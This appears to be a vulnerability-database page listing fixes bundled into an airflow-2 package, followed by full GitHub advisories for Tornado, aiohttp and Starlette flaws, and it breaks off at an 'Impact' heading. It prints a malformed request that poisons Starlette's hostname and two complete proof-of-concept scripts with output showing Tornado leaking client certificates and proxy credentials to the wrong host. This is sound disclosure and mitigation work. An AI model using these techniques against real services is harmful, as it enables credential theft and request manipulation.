Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package airflow-2 version 2.10.3-r3 fixes 22 vulnerabilities: ghsa-27jp-wm6q-gp25, ghsa-5rvq-cxj2-64vf, ghsa-82w8-qh3p-5jfq, ghsa-wqp7-x3pw-xc5r, ghsa-3x9g-8vmp-wqvf...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "airflow-2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.3-r3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.3-r3"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package airflow-2 version 2.10.3-r3 fixes 22 vulnerabilities: ghsa-27jp-wm6q-gp25, ghsa-5rvq-cxj2-64vf, ghsa-82w8-qh3p-5jfq, ghsa-wqp7-x3pw-xc5r, ghsa-3x9g-8vmp-wqvf...",
"id": "CLEANSTART-2026-US20993",
"modified": "2026-07-30T09:30:23Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/airflow"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in airflow-2 2.10.3-r3",
"upstream": [
"ghsa-27jp-wm6q-gp25",
"ghsa-5rvq-cxj2-64vf",
"ghsa-82w8-qh3p-5jfq",
"ghsa-wqp7-x3pw-xc5r",
"ghsa-3x9g-8vmp-wqvf",
"ghsa-mgf9-4vpg-hj56",
"ghsa-4fvr-rgm6-gqmc",
"ghsa-63hw-fmq6-xxg2",
"ghsa-g3cq-j2xw-wf74",
"ghsa-hpj7-wq8m-9hgp",
"ghsa-xcgm-r5h9-7989",
"ghsa-x746-7m8f-x49c",
"ghsa-pw6j-qg29-8w7f",
"ghsa-2fqr-mr3j-6wp8",
"ghsa-4m7w-qmgq-4wj5",
"ghsa-9x8q-7h8h-wcw9",
"ghsa-m6qw-4cw2-hm4m",
"ghsa-6jv3-5f52-599m",
"ghsa-v9pg-7xvm-68hf",
"ghsa-vffw-93wf-4j4q",
"ghsa-jp82-jpqv-5vv3",
"ghsa-cx3h-4qpv-8hc9"
]
}
GHSA-CX3H-4QPV-8HC9
Vulnerability from github – Published: 2026-06-12 18:30 – Updated: 2026-06-12 18:30Summary
Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.
The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.
Mitigations
This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49854"
],
"database_specific": {
"cwe_ids": [
"CWE-126"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T18:30:19Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nTornado\u0027s optional native extension `tornado.speedups` implements `websocket_mask` without validating that the `mask` argument is exactly four bytes long. The C function reads four bytes from `mask` unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.\n\nThe behavior is reachable from Tornado\u0027s XSRF token decoder when `xsrf_cookies=True` and the native extension is active. \n\n### Mitigations\n\nThis bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).",
"id": "GHSA-cx3h-4qpv-8hc9",
"modified": "2026-06-12T18:30:19Z",
"published": "2026-06-12T18:30:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-cx3h-4qpv-8hc9"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/releases/tag/v6.5.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tornado has out-of-bounds memory access via C extension"
}
GHSA-G3CQ-J2XW-WF74
Vulnerability from github – Published: 2026-06-15 20:09 – Updated: 2026-06-15 20:09Summary
During cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.
Impact
An attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).
Workaround
Disable compression if unable to upgrade.
Patch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.14.0"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54278"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:09:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232",
"id": "GHSA-g3cq-j2xw-wf74",
"modified": "2026-06-15T20:09:51Z",
"published": "2026-06-15T20:09:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup"
}
GHSA-HPJ7-WQ8M-9HGP
Vulnerability from github – Published: 2026-06-15 20:09 – Updated: 2026-06-15 20:09Summary
DigestAuthMiddleware can send an authentication response after following a cross-origin redirect.
Impact
If the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.
This likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.
Workaround
Disable follow_redirects if this is a concern.
Patch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.14.0"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54276"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:09:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user\u0027s credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa",
"id": "GHSA-hpj7-wq8m-9hgp",
"modified": "2026-06-15T20:09:06Z",
"published": "2026-06-15T20:09:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges"
}
GHSA-JP82-JPQV-5VV3
Vulnerability from github – Published: 2026-06-15 20:38 – Updated: 2026-07-15 22:07Summary
In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host.
Details
When a client requests a path that does not start with /:
GET @google.com HTTP/1.1
Host: localhost
affected versions reconstruct the URL as http://localhost@google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path:
request.url == "http://localhost@google.com"
request.url.hostname == "google.com"
request.url.path == ""
The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not.
This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"].
Impact
Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.
Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers.
Mitigation
Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@google.com with request.url.hostname == "localhost".
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54282"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-706"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:38:08Z",
"nvd_published_at": "2026-06-22T18:16:46Z",
"severity": "LOW"
},
"details": "### Summary\n\nIn affected versions, the HTTP request path is not validated before being used to reconstruct `request.url`. Because `request.url` is rebuilt by concatenating `{scheme}://{host}{path}` and re-parsing the result, a path that does not begin with `/` (for example `@google.com`) moves the authority boundary during re-parsing, so `request.url.hostname` and `request.url.netloc` become attacker-controlled. Code that reads `request.url.hostname` (rather than the `Host` header or `scope`) can therefore be misled into trusting an attacker-supplied host.\n\n### Details\n\nWhen a client requests a path that does not start with `/`:\n\n```http\nGET @google.com HTTP/1.1\nHost: localhost\n```\n\naffected versions reconstruct the URL as `http://localhost@google.com`. Per [RFC 3986 \u00a73.2.1](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.1), the substring before `@` in the authority is `userinfo`, so re-parsing yields `username = \"localhost\"` and `hostname = \"google.com\"`, with an empty path:\n\n```text\nrequest.url == \"http://localhost@google.com\"\nrequest.url.hostname == \"google.com\"\nrequest.url.path == \"\"\n```\n\nThe root cause is that the path is concatenated directly after the host without a separating `/`, and without validating that it begins with one. Only the `Host` header was validated when constructing `request.url`; the path was not.\n\nThis requires an ASGI server that forwards a request-target lacking a leading `/` into `scope[\"path\"]`.\n\n### Impact\n\nAny application running an affected version that uses `request.url`, `request.url.netloc`, or `request.url.hostname` for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.\n\nNote that this is less exploitable than [GHSA-86qp-5c8j-p5mr](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr): there, the poison is carried in the `Host` header, so the real path still routes to a valid endpoint while `request.url.path` lies. Here, the poison must be carried in the path itself, and that path (`@google.com`) does not match any registered route, so routing returns `404` and no endpoint handler runs. The exposure is limited to code that reads `request.url` before routing - notably middleware - or in 404/exception handlers.\n\n### Mitigation\n\nUpgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields `http://localhost/@google.com` with `request.url.hostname == \"localhost\"`.",
"id": "GHSA-jp82-jpqv-5vv3",
"modified": "2026-07-15T22:07:17Z",
"published": "2026-06-15T20:38:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-jp82-jpqv-5vv3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54282"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-248.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Starlette: Unvalidated request path concatenated into authority poisons request.url.hostname"
}
GHSA-M6QW-4CW2-HM4M
Vulnerability from github – Published: 2026-06-15 20:07 – Updated: 2026-06-15 20:07Summary
Attacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.
Impact
In the unlikely situation that an application is passing user-controlled strings into MultipartWriter.append(headers=...) or Payload.headers, then an attacker may be able to modify the request to inject headers or change the contents of the request.
Workaround
Sanitise such user input.
Patch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.13.5"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50269"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:07:26Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nAttacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.\n\n### Impact\n\nIn the unlikely situation that an application is passing user-controlled strings into `MultipartWriter.append(headers=...)` or `Payload.headers`, then an attacker may be able to modify the request to inject headers or change the contents of the request.\n\n### Workaround\n\nSanitise such user input.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8",
"id": "GHSA-m6qw-4cw2-hm4m",
"modified": "2026-06-15T20:07:26Z",
"published": "2026-06-15T20:07:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m6qw-4cw2-hm4m"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "aiohttp: CRLF injection in multipart headers"
}
GHSA-MGF9-4VPG-HJ56
Vulnerability from github – Published: 2026-06-15 20:19 – Updated: 2026-06-15 20:19Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.
This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.
Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49855"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:19:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Tornado\u0027s gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total *compressed* size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. `HTTPServer` is not affected in its default configuration, but it is if `decompress_request=True` is set.\n\nThis bug is fixed in Tornado 6.5.6. `max_body_size` is now checked both for the compressed and cumulative decompressed size of the response.\n\nPrior to upgrading, this issue can be mitigated by setting `decompress_response=False` or using `CurlAsyncHTTPClient`.",
"id": "GHSA-mgf9-4vpg-hj56",
"modified": "2026-06-15T20:19:28Z",
"published": "2026-06-15T20:19:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-mgf9-4vpg-hj56"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)"
}
GHSA-PW6J-QG29-8W7F
Vulnerability from github – Published: 2026-06-15 20:37 – Updated: 2026-06-15 20:37CurlAsyncHTTPClient leaks per-request credentials on handle reuse
Summary
CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does
not reset them between requests, and several per-request options are applied with
no clearing branch. As a result, sensitive state set by one request persists onto
a later request on the same client that does not set it. Two credential vectors
are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy
basic-auth credentials (PROXYUSERPWD) — both leaking to a different,
unintended host. This affects all released versions through 6.5.6.
Details
In tornado/curl_httpclient.py, handles are created once and returned to a free
list for reuse (_process_queue pops the handle at line 200, _finish
re-appends it at line 245), and _curl_setup_request is never preceded by
curl.reset(). The function clears some carried-over state on the reused handle
— unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD)
when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —
but other options have no equivalent clearing path and persist until a later
request sets them again.
Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing
branch:
# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
A request that sets client_cert leaves the certificate on the handle; a later
request without client_cert presents it during its TLS handshake.
Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only
inside the credentials branch and unset only in the no-proxy else branch:
# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
curl.setopt(pycurl.PROXY, request.proxy_host)
curl.setopt(pycurl.PROXYPORT, request.proxy_port)
if request.proxy_username: # only place PROXYUSERPWD is set
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
...
else:
try:
curl.unsetopt(pycurl.PROXY)
except TypeError:
curl.setopt(pycurl.PROXY, "")
curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset
A request that sets a new proxy_host without proxy_username updates
PROXY/PROXYPORT but never reaches the else, so the previous request's
credentials persist and are sent to the new proxy.
The same class also affects INTERFACE (lines 365-366: set only when
request.network_interface is truthy, with no clearing branch), which is a
lower-severity instance — a later request can be bound to a network interface it
did not request. A single fix addresses all three (see Mitigation).
PoC
Both reproduce against the pinned release using public API only
(CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).
Vector A — client TLS certificate
The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.
python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py
import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
def _key():
return rsa.generate_private_key(public_exponent=65537, key_size=2048)
def _ca():
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
now = datetime.datetime.now(datetime.timezone.utc)
cert = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
.sign(key, hashes.SHA256())
)
return cert, key
def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
now = datetime.datetime.now(datetime.timezone.utc)
b = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(ca_cert.subject)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
)
if ips:
b = b.add_extension(
x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
critical=False,
)
if client:
b = b.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
)
return b.sign(ca_key, hashes.SHA256()), key
def _pem(path, cert, key=None):
with open(path, "wb") as fh:
fh.write(cert.public_bytes(serialization.Encoding.PEM))
if key is not None:
fh.write(key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
class TLSServer:
def __init__(self, srv_pem, ca_pem, require):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
self.ctx.load_cert_chain(srv_pem)
self.ctx.load_verify_locations(ca_pem)
self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
s = self.ctx.wrap_socket(conn, server_side=True)
self.captures.append(s.getpeercert() or None)
try:
s.recv(4096)
s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
except Exception:
pass
s.close()
except Exception:
self.captures.append("handshake-failed")
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def _cn(peer):
if not peer or not isinstance(peer, dict):
return None
for rdn in peer.get("subject", ()):
for k, v in rdn:
if k == "commonName":
return v
return None
async def main():
with tempfile.TemporaryDirectory() as tmp:
ca_cert, ca_key = _ca()
s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)
ca_pem = os.path.join(tmp, "ca.pem")
s1_pem = os.path.join(tmp, "s1.pem")
s2_pem = os.path.join(tmp, "s2.pem")
cert_pem = os.path.join(tmp, "client.crt")
key_pem = os.path.join(tmp, "client.key")
_pem(ca_pem, ca_cert)
_pem(s1_pem, s1_cert, s1_key)
_pem(s2_pem, s2_cert, s2_key)
_pem(cert_pem, cli_cert)
with open(key_pem, "wb") as fh:
fh.write(cli_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
s1 = TLSServer(s1_pem, ca_pem, require=True)
s2 = TLSServer(s2_pem, ca_pem, require=False)
try:
clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await clean.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/baseline",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
clean.close()
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s1.port}/internal-mtls",
client_cert=cert_pem, client_key=key_pem,
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/other-host",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
s1.stop()
s2.stop()
baseline = _cn(s2.captures[0]) if s2.captures else None
leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None
print(f"{'scenario':<48}{'cert presented to server 2'}")
print(f"{'-' * 48}{'-' * 28}")
print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
print()
print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
print()
if baseline is None and leaked == "trusted-client":
print("VERDICT: VULNERABLE — the client certificate from request A was "
"presented to server 2 on request B, which specified none.")
return 0
print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (pip show tornado → 6.5.6, installed in the venv):
scenario cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert None
exploit: reused handle (A had client_cert) 'trusted-client'
(sanity) server 1 (mTLS required) saw: 'trusted-client'
VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.
Vector B — proxy credentials
Each proxy is a separate listener capturing the raw request bytes.
./venv/bin/python poc_proxy_creds.py
import asyncio
import base64
import socket
import sys
import threading
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
class CapturingProxy:
def __init__(self):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
data = b""
while b"\r\n\r\n" not in data and len(data) < 8192:
chunk = conn.recv(2048)
if not chunk:
break
data += chunk
self.captures.append(data)
conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
b"Connection: close\r\n\r\n")
except Exception:
pass
finally:
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def proxy_authz(raw):
head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
for line in head.split("\r\n"):
if line.lower().startswith("proxy-authorization:"):
return line
return None
async def main():
proxy_a = CapturingProxy()
proxy_b = CapturingProxy()
try:
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
"http://target.example/a",
proxy_host="127.0.0.1", proxy_port=proxy_a.port,
proxy_username="alice", proxy_password="secretA",
request_timeout=5, connect_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
"http://target.example/b",
proxy_host="127.0.0.1", proxy_port=proxy_b.port,
request_timeout=5, connect_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
proxy_a.stop()
proxy_b.stop()
a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
expected = "Basic " + base64.b64encode(b"alice:secretA").decode()
print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
print(f"{'-' * 42}{'-' * 40}")
print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
print()
if b and expected in b:
print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
f"({expected}) although request B specified no proxy_username.")
return 0
print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):
request Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.
Impact
